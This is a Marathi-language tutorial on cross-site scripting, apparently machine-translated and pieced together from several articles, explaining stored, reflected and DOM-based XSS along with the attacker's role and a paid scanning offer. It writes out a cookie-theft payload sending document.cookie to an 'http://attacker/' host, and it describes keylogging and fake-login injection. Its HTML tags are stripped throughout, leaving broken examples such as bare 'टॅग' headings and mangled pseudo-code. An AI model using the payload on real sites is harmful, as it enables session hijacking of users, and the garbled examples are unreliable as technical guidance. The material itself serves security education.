  • साइट संरक्षणाचा तार्किक निष्कर्ष म्हणजे XSS हल्ल्यांविरूद्ध त्याची सुरक्षा तपासणे. XSS पासून साइटचे संरक्षण करण्याप्रमाणे, सुरक्षा तपासणी व्यक्तिचलितपणे (कठीण मार्गाने) किंवा स्वयंचलित वेब ऍप्लिकेशन असुरक्षा मूल्यमापन साधन वापरून केली जाऊ शकते. असे साधन पडताळणीचे ओझे तुमच्या खांद्यावरून काढून टाकेल. हा प्रोग्राम साइटवर फिरतो आणि त्याला सापडलेल्या प्रत्येक स्क्रिप्टसाठी माहित असलेली प्रत्येक विविधता चालवतो. हे सर्व पॅरामीटर्स, हेडर आणि पथ वापरून पाहते. दोन्ही पद्धतींमध्ये, ऍप्लिकेशनमधील प्रत्येक इनपुट (सर्व स्क्रिप्टचे पॅरामीटर्स, HTTP हेडर, पथ) शक्य तितक्या पर्यायांसह तपासले जातात. आणि जर प्रतिसाद पानावर जावास्क्रिप्ट कोड अशा संदर्भात असेल जिथे ब्राउझर तो कार्यान्वित करू शकतो, तर XSS असुरक्षा संदेश दिसेल. उदाहरणार्थ, खालील मजकूर पाठवताना:

    सूचना (document.cookie)

    प्रत्येक स्क्रिप्टच्या प्रत्येक पॅरामीटरसाठी (XSS भेद्यतेचा सर्वात सोपा प्रकार शोधण्यासाठी JavaScript क्षमता असलेल्या ब्राउझरद्वारे), मजकूराचा JavaScript कोड म्हणून अर्थ लावल्यास ब्राउझर JavaScript अलर्ट विंडो पॉप अप करेल. अर्थात, अनेक पर्याय आहेत. म्हणून, केवळ या पर्यायाची चाचणी करणे पुरेसे नाही. आणि, तुम्ही आधीच शिकल्याप्रमाणे, तुम्ही JavaScript कोड विविध विनंती फील्डमध्ये एम्बेड करू शकता: पॅरामीटर्स, HTTP शीर्षलेख आणि पथ. तथापि, काही प्रकरणांमध्ये (विशेषत: HTTP संदर्भ शीर्षलेखासह) ब्राउझर-आधारित हल्ला करणे गैरसोयीचे आहे.

    क्रॉस-साइट स्क्रिप्टिंग हे सर्वात सामान्य ऍप्लिकेशन लेयर हल्ल्यांपैकी एक आहे जे हॅकर्स वेब ऍप्लिकेशन्समध्ये घुसण्यासाठी वापरतात. हे देखील सर्वात धोकादायक आहे. विशिष्ट वेबसाईटच्या ग्राहकांच्या गोपनीयतेवर हा हल्ला आहे. जेव्हा ग्राहकांचा डेटा चोरीला जातो आणि नंतर काही कारणासाठी वापरला जातो तेव्हा यामुळे सुरक्षा प्रणालीचा संपूर्ण नाश होऊ शकतो. दुर्दैवाने, या लेखात स्पष्ट केल्याप्रमाणे, हे सहसा क्लायंट किंवा संस्थेवर हल्ला केल्याच्या माहितीशिवाय केले जाते.

    वेबसाइटना या दुर्भावनापूर्ण क्रियाकलापांपासून असुरक्षित होण्यापासून रोखण्यासाठी, संस्थेने ऑनलाइन आणि ऑफलाइन दोन्ही संरक्षणासाठी धोरण राबवणे महत्त्वाचे आहे. यामध्ये स्वयंचलित असुरक्षा तपासक समाविष्ट आहे जो साइटवर सर्व ज्ञात वेब साइट आणि विशिष्ट अनुप्रयोग भेद्यता (जसे की क्रॉस-साइट स्क्रिप्टिंग) तपासू शकतो. संपूर्ण ऑनलाइन संरक्षणासाठी, एक फायरवॉल स्थापित करणे देखील आवश्यक आहे जे वेब सर्व्हरवर किंवा त्यामागे राहणाऱ्या कोड आणि डेटाच्या कोणत्याही प्रकारची हाताळणी शोधू आणि अवरोधित करू शकते.


    क्रॉस-साइट स्क्रिप्टिंग (XSS) क्लायंट-साइड कोड इंजेक्शन अटॅकचा संदर्भ देते ज्यामध्ये आक्रमणकर्ता वेबसाइट किंवा वेब ऍप्लिकेशनवर दुर्भावनापूर्ण स्क्रिप्ट चालवू शकतो. XSS ही सर्वात सामान्य वेब ऍप्लिकेशन भेद्यता आहे आणि जेव्हा वेब ऍप्लिकेशन प्रमाणीकरण किंवा इनपुट/आउटपुट एन्कोडिंग वापरत नाही तेव्हा उद्भवते.

    XSS वापरून, हल्लेखोर थेट पीडिताला लक्ष्य करत नाही. त्याऐवजी, पीडिताच्या ब्राउझरवर दुर्भावनापूर्ण स्क्रिप्ट वितरीत करण्याचे साधन म्हणून असुरक्षित वेबसाइट वापरून, पीडित व्यक्ती भेट देत असलेल्या वेबसाइट किंवा वेब अनुप्रयोगातील असुरक्षिततेचा फायदा घेईल.

    XSS चा वापर VBScript, ActiveX, आणि Flash मध्ये केला जाऊ शकतो (जरी नंतरचे आता अप्रचलित मानले जात आहे), ते जावास्क्रिप्टमध्ये सर्वात जास्त प्रमाणात गैरवर्तन केले जाते - मुख्यत्वे कारण JavaScript बहुतेक वेबसाइट्ससाठी मूलभूत आहे.

    क्रॉस साइट स्क्रिप्ट कसे कार्य करते

    पीडिताच्या ब्राउझरमध्ये दुर्भावनापूर्ण JavaScript कोड चालविण्यासाठी, आक्रमणकर्त्याने प्रथम पीडित व्यक्तीला भेट देत असलेल्या वेब पृष्ठावर पेलोड इंजेक्ट करण्याचा मार्ग शोधला पाहिजे. अर्थात, हल्लेखोर वापरकर्त्याला इंजेक्टेड JavaScript पेलोडसह असुरक्षित पृष्ठास भेट देण्यास पटवून देण्यासाठी सामाजिक अभियांत्रिकी तंत्रांचा वापर करू शकतो.

    XSS हल्ल्यासाठी, असुरक्षित वेबसाइटने थेट त्याच्या पृष्ठांवर वापरकर्ता इनपुट समाविष्ट करणे आवश्यक आहे. हल्लेखोर नंतर एक स्ट्रिंग घालू शकतो जी वेब पृष्ठावर वापरली जाईल आणि पीडिताच्या ब्राउझरद्वारे कोड म्हणून प्रक्रिया केली जाईल.

    खालील सर्व्हर साइड स्यूडो कोड वेब पृष्ठावरील शेवटची टिप्पणी प्रदर्शित करण्यासाठी वापरला जातो.

    मुद्रित करा "" "सर्वात अलीकडील टिप्पणी" print database.latestComment print "" वरील स्क्रिप्ट फक्त टिप्पणी डेटाबेसमधून नवीनतम टिप्पणी मुद्रित करते आणि मुद्रित टिप्पणी केवळ मजकूर आहे असे गृहीत धरून HTML पृष्ठावरील सामग्री मुद्रित करते.

    वरील पृष्ठ कोड xss साठी असुरक्षित आहे कारण आक्रमणकर्ता दुर्भावनायुक्त पेलोड असलेली टिप्पणी देऊ शकतो, जसे की

    doSomethingEvil(); वेब पृष्ठास भेट देणाऱ्या वापरकर्त्यांना खालील HTML पृष्ठ प्राप्त होईल.

    सर्वात अलीकडील टिप्पणी doSomethingEvil(); जेव्हा पीडिताच्या ब्राउझरमध्ये पृष्ठ लोड केले जाते, तेव्हा आक्रमणकर्त्याची दुर्भावनापूर्ण स्क्रिप्ट कार्यान्वित केली जाईल, बहुतेकदा वापरकर्त्याच्या जागरूकतेशिवाय किंवा असा हल्ला रोखण्याची क्षमता नसताना.

    महत्त्वाची टीप: -xss भेद्यता केवळ तेव्हाच अस्तित्वात असू शकते जेव्हा आक्रमणकर्त्याने समाविष्ट केलेले पेलोड (दुर्भावनायुक्त स्क्रिप्ट) शेवटी पीडिताच्या ब्राउझरमध्ये प्रक्रिया केली जाते (जसे की या प्रकरणात HTML)

    आक्रमणकर्ता JavaScript सह काय करू शकतो?

    वेब पृष्ठावर JavaScript कार्यान्वित करण्याच्या क्षमतेवर आक्रमणकर्ता काय करू शकतो याचे परिणाम कदाचित लगेच दिसून येणार नाहीत, विशेषत: ब्राउझर अतिशय कडकपणे नियंत्रित वातावरणात JavaScript चालवतात आणि JavaScript ला वापरकर्त्याच्या ऑपरेटिंग सिस्टम आणि वापरकर्त्याच्या फाइल्समध्ये मर्यादित प्रवेश असतो.

    तथापि, JavaScript ला खालील गोष्टींमध्ये प्रवेश आहे हे लक्षात घेऊन, JavaScript सह क्रिएटिव्ह आक्रमणकर्ते काय मिळवू शकतात हे समजून घेणे सोपे आहे.

    दुर्भावनापूर्ण JavaScript ला कुकीजच्या प्रवेशासह उर्वरित वेब पृष्ठाप्रमाणेच सर्व समान ऑब्जेक्ट्समध्ये प्रवेश आहे. कुकीज बर्‍याचदा सत्र टोकन संचयित करण्यासाठी वापरल्या जातात, जर आक्रमणकर्त्याला वापरकर्त्याची सत्र कुकी मिळू शकते, तर ते त्या वापरकर्त्याची तोतयागिरी करू शकतात.

    JavaScript अनियंत्रित दिशानिर्देशांमध्ये अनियंत्रित सामग्रीसह HTTP विनंत्या पाठवण्यासाठी XMLHttpRequest वापरू शकते.

    आधुनिक ब्राउझरमधील JavaScript HTML5 API चा वापर करू शकते जसे की वापरकर्त्याचे भौगोलिक स्थान, वेबकॅम, मायक्रोफोन आणि वापरकर्त्याच्या फाइल सिस्टममधील विशिष्ट फाइल्समध्ये प्रवेश करणे. यापैकी बहुतेक API ला वापरकर्ता परस्परसंवाद आवश्यक असताना, XSS काही हुशार सामाजिक अभियांत्रिकीसह एकत्रितपणे आक्रमणकर्त्यासाठी चांगले कार्य करू शकते.

    सर्वसाधारणपणे, सामाजिक अभियांत्रिकीच्या संयोजनात, या पद्धती आक्रमणकर्त्यांना कुकी चोरी, कीलॉगिंग, फिशिंग आणि ओळख चोरी यासारखे हल्ले आयोजित करण्यास अनुमती देतात. गंभीरपणे, XSS असुरक्षा हल्लेखोरांना अधिक गंभीर हल्ले वाढवण्यासाठी एक आदर्श प्रजनन ग्राउंड प्रदान करतात.

    क्रॉस साइट स्क्रिप्टिंग ही वापरकर्ता समस्या नाही का?

    नाही. अभ्यागतांच्या ब्राउझरमध्ये अनियंत्रित JavaScript कार्यान्वित करण्यासाठी आक्रमणकर्ता वेब पृष्ठावरील XSS भेद्यतेचा गैरवापर करू शकतो, तर त्या वेबसाइटची किंवा वेब अनुप्रयोगाची आणि त्याच्या वापरकर्त्यांच्या सुरक्षिततेशी तडजोड केली गेली आहे - xss ही वापरकर्त्याची समस्या नाही, इतर कोणत्याही सुरक्षा भेद्यतेप्रमाणेच ते तुमच्या वापरकर्त्यांना प्रभावित करते, ते तुमच्यावर परिणाम करेल.

    क्रॉस-साइट स्क्रिप्टिंग हल्ल्याचे शरीरशास्त्र

    Xss हल्ल्यासाठी तीन सहभागी आवश्यक आहेत: वेबसाइट, बळी आणि आक्रमणकर्ता. खाली दिलेले उदाहरण असे गृहीत धरते की हल्लेखोराचे लक्ष्य पीडितेच्या कुकीज चोरून पीडिताची तोतयागिरी करणे आहे. आक्रमणकर्त्याच्या सर्व्हरवर कुकीज पाठवणे विविध मार्गांनी केले जाऊ शकते, त्यापैकी एक XSS भेद्यतेचा वापर करून पीडिताच्या ब्राउझरमध्ये खालील JavaScript कोड कार्यान्वित करणे आहे.

    window.?cookie=” + document.cookie खालील आकृती एका साध्या XSS हल्ल्यासाठी चरण-दर-चरण मार्गदर्शक दर्शवते.

    • आक्रमणकर्ता दुर्भावनापूर्ण JavaScript कोड वापरून असुरक्षित फॉर्म सबमिट करून वेबसाइटच्या डेटाबेसमध्ये उपयुक्त डेटा इंजेक्ट करतो
    • पीडितेने वेबसाइटवरून वेब पृष्ठाची विनंती केली
    • वेबसाइट पीडिताच्या ब्राउझरला एचटीएमएल बॉडीचा भाग म्हणून हल्लेखोराच्या पेलोडसह पृष्ठ देते.
    • पीडिताचा ब्राउझर HTML बॉडीमध्ये दुर्भावनायुक्त स्क्रिप्ट कार्यान्वित करेल. या प्रकरणात, ते पीडितेच्या कुकीज आक्रमणकर्त्याच्या सर्व्हरवर पाठवेल. आता हल्लेखोराने सर्व्हरवर HTTP विनंती आल्यावर बळीची कुकी मिळवणे आवश्यक आहे, त्यानंतर हल्लेखोर पीडिताची चोरी केलेली कुकी वापरू शकतो.
    क्रॉस-साइट आक्रमण स्क्रिप्टची काही उदाहरणे

    खालील XSS हल्ल्याच्या परिस्थितीची एक छोटी सूची आहे ज्याचा वापर आक्रमणकर्ता वेबसाइट किंवा वेब अनुप्रयोगाच्या सुरक्षिततेशी तडजोड करण्यासाठी करू शकतो.

    टॅग

    हा टॅग सर्वात थेट xss असुरक्षा आहे. स्क्रिप्ट टॅग बाह्य JavaScript कोडचा संदर्भ घेऊ शकतो.

    इशारा ("XSS"); टॅग

    xss सह, ऑनलोड विशेषता किंवा पार्श्वभूमी सारखी दुसरी गडद विशेषता वापरून इंजेक्शन टॅगमध्ये वितरित केले जाऊ शकते.

    टॅग काही ब्राउझर JavaScript मध्ये असताना कार्यान्वित करतील .

    tag हा टॅग तुम्हाला मूळ पृष्ठामध्ये दुसरे HTML पृष्ठ एम्बेड करण्याची परवानगी देतो. iFrame मध्ये JavaScript असू शकते, तथापि हे लक्षात घेणे महत्त्वाचे आहे की ब्राउझरच्या सामग्री सुरक्षा धोरणामुळे (CSP) iFrame मधील JavaScript ला मूळ पृष्ठाच्या DOM मध्ये प्रवेश नाही. तथापि, iFrames अजूनही खूप आहेत प्रभावी साधनफिशिंग हल्ल्यांसाठी.

    टॅग

    काही ब्राउझरमध्ये, टॅगचे प्रकार गुणधर्म इमेजवर सेट केले असल्यास, ते स्क्रिप्ट होस्ट करण्यासाठी वापरले जाऊ शकते.

    टॅग

    टॅग, जो सहसा बाह्य शैली पत्रके जोडण्यासाठी वापरला जातो, त्यात स्क्रिप्ट असू शकते.

    टॅग

    टेबल आणि td टॅगची पार्श्वभूमी विशेषता प्रतिमेऐवजी स्क्रिप्ट दर्शविण्यासाठी वापरली जाऊ शकते.

    टॅग

    टॅगमध्ये, त्याचप्रमाणे

    आणि
    टॅग पार्श्वभूमी निर्दिष्ट करू शकतात आणि म्हणून स्क्रिप्ट घाला.

    टॅग

    हा टॅग बाह्य साइटवरील स्क्रिप्टमध्ये समाविष्ट करण्यासाठी वापरला जाऊ शकतो.

    तुमची साइट क्रॉस-साइट स्क्रिप्टिंगसाठी असुरक्षित आहे का?

    XSS भेद्यता ही इंटरनेटवरील सर्वात सामान्य वेब ऍप्लिकेशन भेद्यता आहे. सुदैवाने, फक्त माझ्याशी संपर्क साधून तुमची वेबसाइट किंवा वेब ऍप्लिकेशन XSS आणि इतर भेद्यतेसाठी असुरक्षित आहे की नाही हे तपासणे सोपे आहे. थोड्या शुल्कासाठी, मी विशेष प्रोग्रामच्या मदतीने तुमचे संसाधन स्कॅन करेन, संभाव्य भेद्यता शोधून काढेन आणि त्यांचे निराकरण कसे करावे हे सुचवेन.

    आणि क्रॉस-साइट स्क्रिप्टिंगवरील सर्वसमावेशक पाठ्यपुस्तक आहे.

    भाग एक: विहंगावलोकन XSS म्हणजे काय?

    क्रॉस साइट स्क्रिप्टिंग ( इंग्रजी क्रॉस साइट स्क्रिप्टिंग) हा एक कोड इंजेक्शन हल्ला आहे जो आक्रमणकर्त्याला दुसर्‍या वापरकर्त्याच्या ब्राउझरमध्ये दुर्भावनापूर्ण JavaScript कार्यान्वित करण्यास अनुमती देतो.

    हल्लेखोर त्याच्या बळीवर थेट हल्ला करत नाही. त्याऐवजी, पीडित व्यक्ती भेट देत असलेल्या वेबसाइटमधील असुरक्षिततेचा फायदा घेते आणि दुर्भावनापूर्ण JavaScript कोड इंजेक्ट करते. पीडिताच्या ब्राउझरमध्ये, दुर्भावनापूर्ण JavaScript वेबसाइटचा कायदेशीर भाग म्हणून दिसते आणि वेबसाइट स्वतः आक्रमणकर्त्याचा थेट साथीदार म्हणून काम करते.

    दुर्भावनापूर्ण JavaScript कोडचे इंजेक्शन

    पीडिताच्या ब्राउझरमध्ये दुर्भावनापूर्ण JavaScript चालवण्याचा आक्रमणकर्त्यासाठी एकमेव मार्ग म्हणजे पीडित व्यक्तीने वेबसाइटवरून लोड केलेल्या पृष्ठांपैकी एकामध्ये ते इंजेक्ट करणे. जर वेबसाइट वापरकर्त्यांना त्यांच्या पृष्ठांवर डेटा प्रविष्ट करण्याची परवानगी देत ​​असेल तर हे शक्य आहे आणि आक्रमणकर्ता पीडिताच्या ब्राउझरमध्ये कोडचा भाग म्हणून ओळखली जाणारी स्ट्रिंग घालू शकतो.

    खालील उदाहरण एक साधी सर्व्हर स्क्रिप्ट दर्शवते जी साइटवर नवीनतम टिप्पणी प्रदर्शित करण्यासाठी वापरली जाते:

    प्रिंट ""
    "अंतिम टिप्पणी:" मुद्रित करा
    database.latestComment प्रिंट करा
    प्रिंट ""

    स्क्रिप्ट असे गृहीत धरते की टिप्पणीमध्ये फक्त मजकूर असतो. तथापि, थेट वापरकर्ता इनपुट सक्षम केल्यामुळे, आक्रमणकर्ता ही टिप्पणी देऊ शकतो: "..." . पृष्ठास भेट देणाऱ्या कोणत्याही वापरकर्त्याला आता खालील प्रतिसाद प्राप्त होईल:


    शेवटची टिप्पणी:
    ...

    जेव्हा वापरकर्त्याचा ब्राउझर पृष्ठ लोड करतो, तेव्हा ते टॅगमध्ये असलेल्या JavaScriptसह सर्वकाही कार्यान्वित करेल. हल्लेखोराने हा हल्ला यशस्वीपणे पार पाडला.

    दुर्भावनापूर्ण JavaScript म्हणजे काय?

    बळीच्या ब्राउझरमध्ये JavaScript कार्यान्वित करण्याची क्षमता विशेषतः दुर्भावनापूर्ण वाटू शकत नाही. JavaScript अतिशय प्रतिबंधित वातावरणात चालते ज्यात वापरकर्ता आणि ऑपरेटिंग सिस्टम फायलींमध्ये अत्यंत मर्यादित प्रवेश आहे. खरं तर, तुम्ही आत्ता तुमच्या ब्राउझरमध्ये JavaScript कन्सोल उघडू शकता आणि तुम्हाला हवी असलेली कोणतीही JavaScript कार्यान्वित करू शकता आणि तुम्ही तुमच्या कॉम्प्युटरला कोणतीही हानी पोहोचवू शकाल याची शक्यता कमी आहे.

    तथापि, JavaScript कोडची दुर्भावनापूर्ण असण्याची क्षमता स्पष्ट होते जेव्हा तुम्ही खालील तथ्यांचा विचार करता:

    • JavaScript ला वापरकर्त्याच्या काही संवेदनशील माहितीमध्ये प्रवेश आहे, जसे की कुकीज.
    • JavaScript XMLHttpRequest आणि इतर यंत्रणा वापरून अनियंत्रित दिशेने अनियंत्रित सामग्रीसह HTTP विनंत्या पाठवू शकते.
    • JavaScript DOM मॅनिपुलेशन पद्धती वापरून वर्तमान पृष्ठाच्या HTML कोडमध्ये अनियंत्रित बदल करू शकते.

    एकत्रित केल्यावर, या तथ्यांमुळे खूप गंभीर सुरक्षा उल्लंघन होऊ शकते, तपशील पुढे जातील.

    दुर्भावनापूर्ण JavaScript कोडचे परिणाम

    याव्यतिरिक्त, दुसर्‍या वापरकर्त्याच्या ब्राउझरमध्ये अनियंत्रित JavaScript कार्यान्वित करण्याची क्षमता आक्रमणकर्त्याला खालील प्रकारचे हल्ले करण्यास अनुमती देते:

    कुकी चोरी

    आक्रमणकर्ता document.cookie वापरून पीडिताच्या वेबसाइट-संबंधित कुकीजमध्ये प्रवेश करू शकतो, त्यांना त्यांच्या स्वतःच्या सर्व्हरवर पाठवू शकतो आणि सत्र आयडी सारखी संवेदनशील माहिती काढण्यासाठी वापरू शकतो.

    कीलॉगर

    आक्रमणकर्ता addEventListener वापरून कीबोर्ड इव्हेंट श्रोता नोंदणी करू शकतो आणि नंतर वापरकर्त्याचे सर्व कीस्ट्रोक त्यांच्या सर्व्हरवर पाठवू शकतो, संभाव्यत: पासवर्ड आणि क्रेडिट कार्ड नंबर यासारखी संवेदनशील माहिती लॉग करू शकतो.

    फिशिंग

    आक्रमणकर्ता DOM मॅनिपुलेशन वापरून पृष्ठामध्ये बनावट लॉगिन फॉर्म घालू शकतो, फॉर्मची क्रिया गुणधर्म त्यांच्या स्वतःच्या सर्व्हरवर सेट करू शकतो आणि नंतर वापरकर्त्याला संवेदनशील माहिती मिळविण्यासाठी फसवू शकतो.

    जरी हे हल्ले लक्षणीयरीत्या भिन्न असले तरी, त्या सर्वांमध्ये एक महत्त्वाची समानता आहे: कारण आक्रमणकर्ता वेबसाइटद्वारे दिलेल्या पृष्ठामध्ये कोड इंजेक्ट करतो, त्या वेबसाइटच्या संदर्भात दुर्भावनापूर्ण JavaScript कार्यान्वित केले जाते. याचा अर्थ असा की त्या साइटवरील इतर कोणत्याही स्क्रिप्टप्रमाणे ती हाताळली जाते: त्यास त्या वेबसाइटसाठी पीडिताच्या डेटामध्ये प्रवेश आहे (जसे की कुकी रेकॉर्ड) आणि URL स्ट्रिंगमध्ये प्रदर्शित होस्टनाव वेबसाइटच्या प्रमाणेच असेल. सर्व उद्देशांसाठी, स्क्रिप्ट वेबसाइटचा कायदेशीर भाग मानली जाते, जी वेबसाइट स्वतः करू शकते असे काहीही करू देते.

    ही वस्तुस्थिती मुख्य समस्या हायलाइट करते:

    जर एखादा आक्रमणकर्ता तुमची वेबसाइट इतर वापरकर्त्यांच्या ब्राउझरमध्ये अनियंत्रित JavaScript कोड कार्यान्वित करण्यासाठी वापरू शकतो, तर तुमच्या वेबसाइटची आणि तिच्या वापरकर्त्यांच्या सुरक्षिततेशी तडजोड केली जाते.

    हा मुद्दा अधोरेखित करण्यासाठी, या ट्युटोरियलमधील काही दुर्भावनापूर्ण स्क्रिप्ट उदाहरणे ... वापरून तपशीलवार सोडली जातील. हे सूचित करते की आक्रमणकर्त्याद्वारे केवळ स्क्रिप्ट इंजेक्ट केली जाणे ही एक समस्या आहे, कोणताही विशिष्ट स्क्रिप्ट कोड प्रत्यक्षात अंमलात आणला जात असला तरीही.

    भाग दोन: XSS हल्ल्यातील XSS हल्ल्यातील सहभागी

    XSS हल्ला कसा कार्य करतो याचे तपशीलवार वर्णन करण्यापूर्वी, आम्हाला XSS हल्ल्यात सहभागी असलेल्या कलाकारांची व्याख्या करणे आवश्यक आहे. सर्वसाधारणपणे, XSS हल्ल्यात तीन कलाकार असतात: वेबसाइट, पीडित आणि हल्लेखोर.

    • वेबसाइट त्यांना विनंती करणार्‍या वापरकर्त्यांसाठी HTML पृष्ठे देते. आमच्या उदाहरणांमध्ये, ते http://website/ वर स्थित आहे.
      • वेबसाइट डेटाबेस हा एक डेटाबेस आहे जो वेबसाइटच्या पृष्ठांवर वापरकर्त्यांनी प्रविष्ट केलेला काही डेटा संग्रहित करतो.
    • पीडित हा वेबसाइटचा नियमित वापरकर्ता असतो जो त्यांच्या ब्राउझरचा वापर करून त्यावरील पृष्ठांची विनंती करतो.
    • हल्लेखोर हा हल्लेखोर असतो जो साइटवरील XSS असुरक्षिततेचा गैरफायदा घेऊन पीडितेवर हल्ला करण्याचा विचार करतो.
      • घुसखोर सर्व्हर हा पीडिताची गोपनीय माहिती चोरण्याच्या एकमेव उद्देशाने आक्रमणकर्त्याद्वारे नियंत्रित केलेला वेब सर्व्हर आहे. आमच्या उदाहरणांमध्ये, ते http://attacker/ येथे स्थित आहे.
    आक्रमण स्क्रिप्टचे उदाहरण


    window.location="http://attacker/?cookie="+document.cookie

    ही स्क्रिप्ट दुसर्‍या URL वर HTTP विनंती तयार करेल जी वापरकर्त्याच्या ब्राउझरला आक्रमणकर्त्याच्या सर्व्हरवर पुनर्निर्देशित करेल. URL मध्ये पीडिताची कुकी विनंती पॅरामीटर म्हणून समाविष्ट असते, जेव्हा आक्रमणकर्त्याच्या सर्व्हरवर HTTP विनंती येते तेव्हा आक्रमणकर्ता विनंतीमधून या कुकीज काढू शकतो. एकदा हल्लेखोराने कुकीज मिळविल्यानंतर, ते पीडिताची तोतयागिरी करण्यासाठी आणि त्यानंतरचा हल्ला करण्यासाठी त्यांचा वापर करू शकतात.

    आतापासून, वर दर्शविलेल्या HTML ला दुर्भावनायुक्त स्ट्रिंग किंवा दुर्भावनायुक्त स्क्रिप्ट म्हणून संबोधले जाईल. हे समजून घेणे महत्त्वाचे आहे की स्ट्रिंग स्वतःच दुर्भावनापूर्ण आहे जर ती शेवटी पीडिताच्या ब्राउझरमध्ये HTML म्हणून प्रस्तुत केली गेली असेल, जे वेबसाइटमध्ये XSS भेद्यता असल्यासच होऊ शकते.

    हे आक्रमण उदाहरण कसे कार्य करते

    खालील आकृती हल्लेखोराने केलेल्या हल्ल्याचे उदाहरण दाखवते:

  • आक्रमणकर्ता वेबसाइटच्या डेटाबेसमध्ये दुर्भावनापूर्ण स्ट्रिंग घालण्यासाठी वेबसाइटच्या फॉर्मपैकी एक वापरतो.
  • पीडितेने वेबसाइटवरून पृष्ठाची विनंती केली.
  • साइट प्रतिसादात डेटाबेसमधून दुर्भावनापूर्ण स्ट्रिंग समाविष्ट करते आणि ती पीडिताला पाठवते.
  • पीडिताचा ब्राउझर प्रतिसादामध्ये दुर्भावनापूर्ण स्क्रिप्ट कार्यान्वित करतो, पीडिताची कुकी आक्रमणकर्त्याच्या सर्व्हरवर पाठवतो.
  • XSS प्रकार

    XSS हल्ल्याचे ध्येय नेहमी पीडिताच्या ब्राउझरमध्ये दुर्भावनापूर्ण JavaScript स्क्रिप्ट कार्यान्वित करणे हे असते. हे ध्येय साध्य करण्यासाठी अनेक मूलभूतपणे भिन्न मार्ग आहेत. XSS हल्ले सहसा तीन प्रकारांमध्ये वर्गीकृत केले जातात:

    • संचयित (सतत) XSS , जिथे दुर्भावनायुक्त स्ट्रिंग वेबसाइटच्या डेटाबेसमधून उद्भवते.
    • परावर्तित (नॉन-पर्सिस्टंट) XSS, जिथे दुर्भावनायुक्त स्ट्रिंग पीडिताच्या विनंतीवरून व्युत्पन्न होते.
    • XSS DOM, जिथे भेद्यता क्लायंट-साइड कोडमध्ये आढळते, सर्व्हर-साइड कोडमध्ये नाही.

    मागील उदाहरण संचयित XSS हल्ला दाखवते. आम्ही आता XSS हल्ल्यांच्या इतर दोन प्रकारांचे वर्णन करू: परावर्तित XSS आणि DOM XSS हल्ले.

    परावर्तित XSS

    परावर्तित XSS हल्ल्यात, दुर्भावनायुक्त स्ट्रिंग पीडिताच्या वेबसाइटला केलेल्या विनंतीचा भाग आहे. साइट वापरकर्त्याला परत पाठवलेल्या प्रतिसादात ही दुर्भावनापूर्ण स्ट्रिंग स्वीकारते आणि समाविष्ट करते. खालील आकृती ही परिस्थिती स्पष्ट करते:

  • पीडित व्यक्ती हल्लेखोराला एका वेबसाइटवर URL विनंती पाठवण्याची फसवणूक करते.
  • साइटमध्ये पीडितेच्या प्रतिसादात URL विनंतीवरून दुर्भावनायुक्त स्ट्रिंग समाविष्ट आहे.
  • पीडिताचा ब्राउझर प्रतिसादात असलेली दुर्भावनापूर्ण स्क्रिप्ट कार्यान्वित करतो, पीडिताची कुकी आक्रमणकर्त्याच्या सर्व्हरवर पाठवतो.
  • परावर्तित XSS हल्ला यशस्वीरित्या कसा करायचा?

    परावर्तित XSS हल्ला निरुपद्रवी वाटू शकतो कारण यासाठी पीडिताला त्यांच्या वतीने दुर्भावनायुक्त स्ट्रिंग असलेली विनंती सबमिट करणे आवश्यक आहे. कोणीही स्वेच्छेने स्वतःवर हल्ला करणार नसल्यामुळे, प्रत्यक्षात हल्ला करण्याचा कोणताही मार्ग दिसत नाही.

    असे दिसून आले की, पीडित व्यक्तीने स्वतःवर परावर्तित XSS हल्ला सुरू करण्याचे किमान दोन सामान्य मार्ग आहेत:

    • वापरकर्ता विशिष्ट व्यक्ती असल्यास, आक्रमणकर्ता पीडित व्यक्तीला दुर्भावनापूर्ण URL पाठवू शकतो (उदाहरणार्थ, ईमेल किंवा मेसेंजरद्वारे) आणि वेबसाइटला भेट देण्यासाठी लिंक उघडण्यासाठी फसवू शकतो.
    • लक्ष्य वापरकर्त्यांचा एक मोठा गट असल्यास, आक्रमणकर्ता दुर्भावनापूर्ण URL ची लिंक पोस्ट करू शकतो (उदाहरणार्थ, त्यांच्या स्वतःच्या वेबसाइटवर किंवा सोशल नेटवर्कवर) आणि अभ्यागतांनी लिंकवर क्लिक करण्याची प्रतीक्षा केली आहे.

    या दोन्ही पद्धती सारख्याच आहेत आणि URL शॉर्टनिंग सेवांसह दोन्ही अधिक यशस्वी होऊ शकतात ज्या वापरकर्त्यांकडून दुर्भावनापूर्ण स्ट्रिंग ओळखण्यास सक्षम असतील.

    DOM मध्ये XSS

    DOM मधील XSS हा संग्रहित आणि परावर्तित XSS हल्ल्याचा एक प्रकार आहे. या XSS हल्ल्यामध्ये, वेबसाइटचे वास्तविक JavaScript कार्यान्वित होईपर्यंत पीडिताच्या ब्राउझरद्वारे दुर्भावनापूर्ण स्ट्रिंगवर प्रक्रिया केली जात नाही. खालील आकृती प्रतिबिंबित XSS हल्ल्यासाठी ही परिस्थिती स्पष्ट करते:

  • हल्लेखोर दुर्भावनायुक्त स्ट्रिंग असलेली URL तयार करतो आणि पीडिताला पाठवतो.
  • पीडित व्यक्ती हल्लेखोराला एका वेबसाइटवर URL विनंती पाठवण्याची फसवणूक करते.
  • साइट विनंती स्वीकारते परंतु प्रतिसादात दुर्भावनायुक्त स्ट्रिंग समाविष्ट करत नाही.
  • पीडिताचा ब्राउझर प्रतिसादात असलेली कायदेशीर स्क्रिप्ट कार्यान्वित करतो, ज्यामुळे दुर्भावनायुक्त स्क्रिप्ट पृष्ठामध्ये घातली जाते.
  • पीडिताचा ब्राउझर पृष्ठामध्ये घातलेली दुर्भावनापूर्ण स्क्रिप्ट कार्यान्वित करतो, पीडिताची कुकी आक्रमणकर्त्याच्या सर्व्हरवर पाठवतो.
  • DOM मॉडेलमध्ये XSS मध्ये काय फरक आहे?

    संग्रहित आणि परावर्तित XSS हल्ल्यांच्या मागील उदाहरणांमध्ये, सर्व्हर पृष्ठामध्ये दुर्भावनापूर्ण स्क्रिप्ट घालतो, जी नंतर पीडिताला प्रतिसाद म्हणून पाठविली जाते. जेव्हा पीडिताच्या ब्राउझरला प्रतिसाद मिळतो, तेव्हा ते असे गृहीत धरते की दुर्भावनायुक्त स्क्रिप्ट पृष्ठाच्या कायदेशीर सामग्रीचा भाग आहे आणि इतर कोणत्याही स्क्रिप्टप्रमाणेच पृष्ठ लोड दरम्यान ते स्वयंचलितपणे कार्यान्वित करते.

